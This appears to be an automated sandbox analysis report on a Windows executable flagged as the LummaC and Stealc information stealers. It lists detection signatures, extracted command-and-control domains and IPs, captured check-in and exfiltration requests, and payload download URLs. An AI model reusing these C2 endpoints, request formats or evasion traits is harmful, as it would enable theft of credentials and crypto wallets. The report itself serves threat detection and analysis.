Windows Analysis Report
FBVmDbz2nb.exe

Overview

General Information

Sample name: FBVmDbz2nb.exe
renamed because original name is a hash value
Original sample name: 09b1bb35206793151b49f63777b91054.exe
Analysis ID: 1579770
MD5: 09b1bb35206793151b49f63777b91054
SHA1: 37c9c920869362b5455a70a98fb901d5d5a340e5
SHA256: 66599079adbb952b99adca3b776a860e4ace86b0cf7af08a4dc3b001cda657a8
Tags: exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
Performs DNS queries to domains with low reputation
Query firmware table information (likely to detect VMs)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: FBVmDbz2nb.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.1524.4.memstrmin Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: FBVmDbz2nb.exe.1380.0.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["smash-boiling.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "steppriflej.xyz", "cuddlyready.xyz", "ripe-blade.cyou", "hosue-billowy.cyou", "pollution-raker.cyou", "supporse-comment.cyou"], "Build id": "PsFKDg--pablo"}
Multi AV Scanner detection for submitted file
Source: FBVmDbz2nb.exe Virustotal: Detection: 53% Perma Link
Source: FBVmDbz2nb.exe ReversingLabs: Detection: 57%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: FBVmDbz2nb.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: FBVmDbz2nb.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49771 version: TLS 1.2
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: number of queries: 1001

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49808 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49717 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49717 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49771 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49746 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49723 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49723 -> 104.21.32.96:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor URLs: smash-boiling.cyou
Source: Malware configuration extractor URLs: greywe-snotty.cyou
Source: Malware configuration extractor URLs: sendypaster.xyz
Source: Malware configuration extractor URLs: steppriflej.xyz
Source: Malware configuration extractor URLs: cuddlyready.xyz
Source: Malware configuration extractor URLs: ripe-blade.cyou
Source: Malware configuration extractor URLs: hosue-billowy.cyou
Source: Malware configuration extractor URLs: pollution-raker.cyou
Source: Malware configuration extractor URLs: supporse-comment.cyou
Performs DNS queries to domains with low reputation
Source: DNS query: cuddlyready.xyz
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:53:11 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:53:16 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 43 43 37 37 42 30 42 46 33 46 33 32 33 35 31 31 34 31 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="hwid"43CC77B0BF3F3235114199------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="build"stok------GHCAKKEGCAAFHJJJDBKJ--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View IP Address: 185.215.113.16 185.215.113.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49717 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49740 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49759 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49752 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49777 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49746 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49723 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49729 -> 104.21.32.96:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49771 -> 104.21.32.96:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=U62P71TDLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12791Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1TF8LFQ69GVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15021Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JSDRCW3AF36GNCYWLRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20579Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=292T7TPAQQ1OJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1203Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J72WYFQ035BHFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585082Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: cuddlyready.xyz
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: cuddlyready.xyz
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeN
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe_
Source: FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeQV
Source: FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeX
Source: FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeq
Source: FBVmDbz2nb.exe String found in binary or memory: http://185.215.113.16:80/steam/random.exe
